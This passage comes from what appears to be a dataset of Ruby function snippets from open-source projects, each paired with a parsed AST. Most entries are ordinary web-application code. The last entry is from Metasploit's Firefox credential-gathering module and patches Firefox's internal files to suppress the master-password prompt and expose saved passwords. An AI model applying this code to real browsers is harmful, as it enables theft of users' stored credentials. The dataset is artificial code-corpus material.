end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"report_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"attack\"]},{\"type\":\"arg\",\"children\":[\"map\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"portmap\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vulnerable\"]},{\"type\":\"lvasgn\",\"children\":[\"proof\"]}]},{\"type\":\"send\",\"children\":[null,\"prove_amplification\",{\"type\":\"lvar\",\"children\":[\"map\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulnerable\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Vulnerable to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attack\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proof\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"attack\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"send\",\"children\":[null,\"references\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Not vulnerable to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attack\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proof\"]}]}]}]}]}]}]}","id":"b4b588ba-d0f7-4680-9a77-326706a8b1fa"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/icons_helper.rb","start_line":36,"raw_source":"def op_icon(classnames, title: nil)\n    title = \"title=\\\"#{h(title)}\\\"\" unless title.nil?\n    %(<i class=\"#{classnames}\" #{title} aria-hidden=\"true\"></i>).html_safe\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"op_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"classnames\"]},{\"type\":\"kwoptarg\",\"children\":[\"title\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"title=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<i class=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classnames\"]}]},{\"type\":\"str\",\"children\":[\"\\\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\" aria-hidden=\\\"true\\\"></i>\"]}]},\"html_safe\"]}]}]}","id":"f6b28f93-b8c3-4e10-a2f4-366bc7fda062"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/dashboards_controller.rb","start_line":124,"raw_source":"def follows_for_tag(user:, order_by: :created_at, explicit_points: (0...))\n    user.follows_by_type(\"ActsAsTaggableOn::Tag\").order(order_by => :desc)\n      .where(explicit_points: explicit_points)\n      .includes(:followable)\n      .limit(follows_limit)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"follows_for_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"order_by\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"explicit_points\",{\"type\":\"begin\",\"children\":[{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"follows_by_type\",{\"type\":\"str\",\"children\":[\"ActsAsTaggableOn::Tag\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_by\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"explicit_points\"]},{\"type\":\"lvar\",\"children\":[\"explicit_points\"]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"followable\"]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"follows_limit\"]}]}]}","id":"da218971-0349-4eda-a048-c1ca35b52733"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/invite_redeemer.rb","start_line":65,"raw_source":"def ensure_email_is_present!(email)\n    if email.blank?\n      Rails.logger.warn(\n        \"email param was blank in InviteRedeemer for invite ID #{@invite.id}. The `redeeming_user` was #{@redeeming_user.present? ? \"(ID: #{@redeeming_user.id})\" : \"not\"} present.\",\n      )\n    end\n\n    if email.blank? && @invite.is_email_invite?\n      @email = @invite.email\n    elsif @redeeming_user.present?\n      @email = @redeeming_user.email\n    else\n      @email = email\n    end\n\n    raise Discourse::InvalidParameters if @email.blank?\n  end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_email_is_present!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"email param was blank in InviteRedeemer for invite ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invite\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\". The `redeeming_user` was \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@redeeming_user\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@redeeming_user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"str\",\"children\":[\"not\"]}]}]},{\"type\":\"str\",\"children\":[\" present.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invite\"]},\"is_email_invite?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@email\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invite\"]},\"email\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@redeeming_user\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@email\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@redeeming_user\"]},\"email\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@email\",{\"type\":\"lvar\",\"children\":[\"email\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@email\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]}]},null]}]}]}","id":"0e558d38-3efd-4c67-8798-52f6a6d01b8c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/shopify/integration_helper.rb","start_line":44,"raw_source":"def decode_token(token, secret)\n    JWT.decode(\n      token,\n      secret,\n      true,\n      {\n        algorithm: 'HS256',\n        verify_expiration: true\n      }\n    ).first['sub']\n  rescue StandardError => e\n    Rails.logger.error(\"Unexpected error verifying Shopify token: #{e.message}\")\n    nil\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"secret\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"str\",\"children\":[\"HS256\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_expiration\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sub\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected error verifying Shopify token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"2651e6ad-7e4f-4be0-ab8a-9aa341c86148"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache.rb","start_line":723,"raw_source":"def new_entry(value, options = nil) # :nodoc:\n        Entry.new(value, **merged_options(options))\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entry\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merged_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"c7ca35d3-1cc4-43cf-b013-68329ccce779"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/payment_source_concern.rb","start_line":35,"raw_source":"def has_payment_profile?\n      gateway_customer_profile_id.present? || gateway_payment_profile_id.present?\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_payment_profile?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gateway_customer_profile_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gateway_payment_profile_id\"]},\"present?\"]}]}]}","id":"47fdb6cc-a0d6-4eff-b5fa-2bf0eacce6d7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/unreachable_loop.rb","start_line":129,"raw_source":"def statements(node)\n          body = node.body\n\n          if body.nil?\n            []\n          elsif body.begin_type?\n            body.children\n          else\n            [body]\n          end\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"statements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"nil?\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"begin_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"children\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}]}]}","id":"f623cd53-9ae9-4bc9-a664-ee3f9e1902e6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/log_management.rb","start_line":232,"raw_source":"def delete_active_log_collections_queue\n    MiqQueue.create_with(:priority => MiqQueue::HIGH_PRIORITY).put_unless_exists(\n      :class_name  => self.class.name,\n      :instance_id => id,\n      :method_name => \"delete_active_log_collections\",\n      :server_guid => guid\n    ) do |msg|\n      _log.info(\"Previous cleanup is still running, skipping...\") unless msg.nil?\n    end\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_active_log_collections_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"HIGH_PRIORITY\"]}]}]}]},\"put_unless_exists\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"delete_active_log_collections\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_guid\"]},{\"type\":\"send\",\"children\":[null,\"guid\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"str\",\"children\":[\"Previous cleanup is still running, skipping...\"]}]}]}]}]}","id":"a48c07ca-6991-422b-8dde-bba12d0ca257"}
{"repo_name":"forem","file_path":"./repos/forem/spec/services/billboard_event_rollup_spec.rb","start_line":15,"raw_source":"def days_ago_as_range(num)\n    (Date.current - num.days).all_day\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"days_ago_as_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]},\"days\"]}]}]},\"all_day\"]}]}","id":"00a521f9-9e41-4bb5-8739-45bd4c5e82f5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/vm_retirement.rb","start_line":32,"raw_source":"def list_invalid(valid_warnings)\n  invalid_vms = get_invalid(valid_warnings)\n\n  return if invalid_vms.empty?\n\n  puts header\n  invalid_vms.each { |vm| puts vm_details(vm) }\nend","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"list_invalid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"valid_warnings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"invalid_vms\",{\"type\":\"send\",\"children\":[null,\"get_invalid\",{\"type\":\"lvar\",\"children\":[\"valid_warnings\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_vms\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[null,\"header\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_vms\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vm\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[null,\"vm_details\",{\"type\":\"lvar\",\"children\":[\"vm\"]}]}]}]}]}]}","id":"eb2e685f-d3a1-4e39-a674-581d915ce4d5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/rendered/notebook/diff_file.rb","start_line":51,"raw_source":"def highlighted_diff_lines\n            strong_memoize(:highlighted_diff_lines) do\n              lines = Gitlab::Diff::Highlight.new(self, repository: self.repository).highlight\n              lines_in_source = lines_in_source_diff(\n                source_diff.highlighted_diff_lines, source_diff.deleted_file?, source_diff.new_file?\n              )\n\n              lines.zip(line_positions_at_source_diff(lines, transformed_blocks))\n                   .map { |line, positions| mutate_line(line, positions, lines_in_source) }\n            end\n          end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"highlighted_diff_lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"highlighted_diff_lines\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"Highlight\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repository\"]}]}]}]},\"highlight\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lines_in_source\",{\"type\":\"send\",\"children\":[null,\"lines_in_source_diff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_diff\"]},\"highlighted_diff_lines\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_diff\"]},\"deleted_file?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_diff\"]},\"new_file?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"zip\",{\"type\":\"send\",\"children\":[null,\"line_positions_at_source_diff\",{\"type\":\"lvar\",\"children\":[\"lines\"]},{\"type\":\"send\",\"children\":[null,\"transformed_blocks\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"positions\"]}]},{\"type\":\"send\",\"children\":[null,\"mutate_line\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"positions\"]},{\"type\":\"lvar\",\"children\":[\"lines_in_source\"]}]}]}]}]}]}","id":"d3066205-c34c-45cf-990e-7fb7f9bf3a66"}
{"repo_name":"rails","file_path":"./repos/rails/tools/preview_docs.rb","start_line":81,"raw_source":"def self.pull_request\n    pr = ENV.fetch(\"BUILDKITE_PULL_REQUEST\")\n    pr == \"false\" ? false : pr\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pull_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"BUILDKITE_PULL_REQUEST\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr\"]},\"==\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"pr\"]}]}]}]}","id":"00c7cc32-4c55-4582-8607-4c5050db6b9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/renderer.rb","start_line":231,"raw_source":"def self.formatted_duration(duration)\n      color = color_for_duration(duration)\n      Rainbow.new.wrap(format('%5f_s', duration)).color(color)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"formatted_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"color\",{\"type\":\"send\",\"children\":[null,\"color_for_duration\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rainbow\"]},\"new\"]},\"wrap\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"%5f_s\"]},{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]},\"color\",{\"type\":\"lvar\",\"children\":[\"color\"]}]}]}]}","id":"c51fb2b2-e6a2-4c18-b5a1-0addddef93dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/namespaces/enable_descendants_cache_cron_worker.rb","start_line":70,"raw_source":"def get_last_id\n      value = Gitlab::Redis::SharedState.with { |redis| redis.get(CURSOR_KEY) }\n      return if value.nil?\n\n      Integer(value)\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_last_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"get\",{\"type\":\"const\",\"children\":[null,\"CURSOR_KEY\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"0b7831af-73e2-4052-8b7f-c8de4b4dbd0e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/base_controller.rb","start_line":94,"raw_source":"def disallow_unauthenticated_api_access?\n    ENV['DISALLOW_UNAUTHENTICATED_API_ACCESS'] == 'true' || Rails.configuration.x.mastodon.limited_federation_mode\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"disallow_unauthenticated_api_access?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DISALLOW_UNAUTHENTICATED_API_ACCESS\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"mastodon\"]},\"limited_federation_mode\"]}]}]}","id":"714c1157-ed7f-44dc-8c97-ef567a9b9e6b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/firefox_creds.rb","start_line":434,"raw_source":"def decrypt_modify_omnija(zip)\n    # Which files to extract from ja/zip\n    files = [\n      'components/storage-mozStorage.js',                        # stor_js\n      'chrome/toolkit/content/passwordmgr/passwordManager.xul',  # pwd_xul\n      'chrome/toolkit/content/global/commonDialog.xul',          # dlog_xul\n      'jsloader/resource/gre/components/storage-mozStorage.js'   # res_js (not 100% sure why this is used)\n    ]\n\n    # Extract files from zip\n    arya = files.map do |omnija_file|\n      fdata = {}\n      begin\n        fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/\n        fdata['outs'] = zip.get_output_stream(omnija_file)\n      rescue StandardError\n        print_error(\"Was not able to find '#{omnija_file}' in the compressed .JA file\")\n        print_error('This could be due to a corrupt download or a unsupported Firefox/Iceweasel version')\n        break\n      end\n      fdata\n    end\n\n    # Read contents of array (arya)\n    stor_js, pwd_xul, dlog_xul, res_js = arya\n    stor_js['outs_res'] = res_js['outs']\n\n    # Insert payload (close after starting up - allowing evil js to run and nothing else)\n    wnd_close = 'window.close();'\n    onload = \"Startup(); SignonsStartup(); #{wnd_close}\"\n\n    # Patch commonDialog.xul - Get rid of (possible) master password prompt\n    dlog_xul['content'].sub!(/commonDialogOnLoad\\(\\);/, wnd_close)\n    dlog_xul['outs'].write(dlog_xul['content'])\n    dlog_xul['outs'].close\n    vprint_good('[1/2] XUL injected - commonDialog.xul')\n\n    # Patch passwordManager.xul - Close password manager immediately\n    pwd_xul['content'].sub!(/Startup\\(\\); SignonsStartup\\(\\);/, onload)\n    pwd_xul['outs'].write(pwd_xul['content'])\n    pwd_xul['outs'].close\n    vprint_good('[2/2] XUL injected - passwordManager.xul')\n\n    # Patch ./components/storage-mozStorage.js - returns true or false\n    return decrypt_patch_method(stor_js)\n  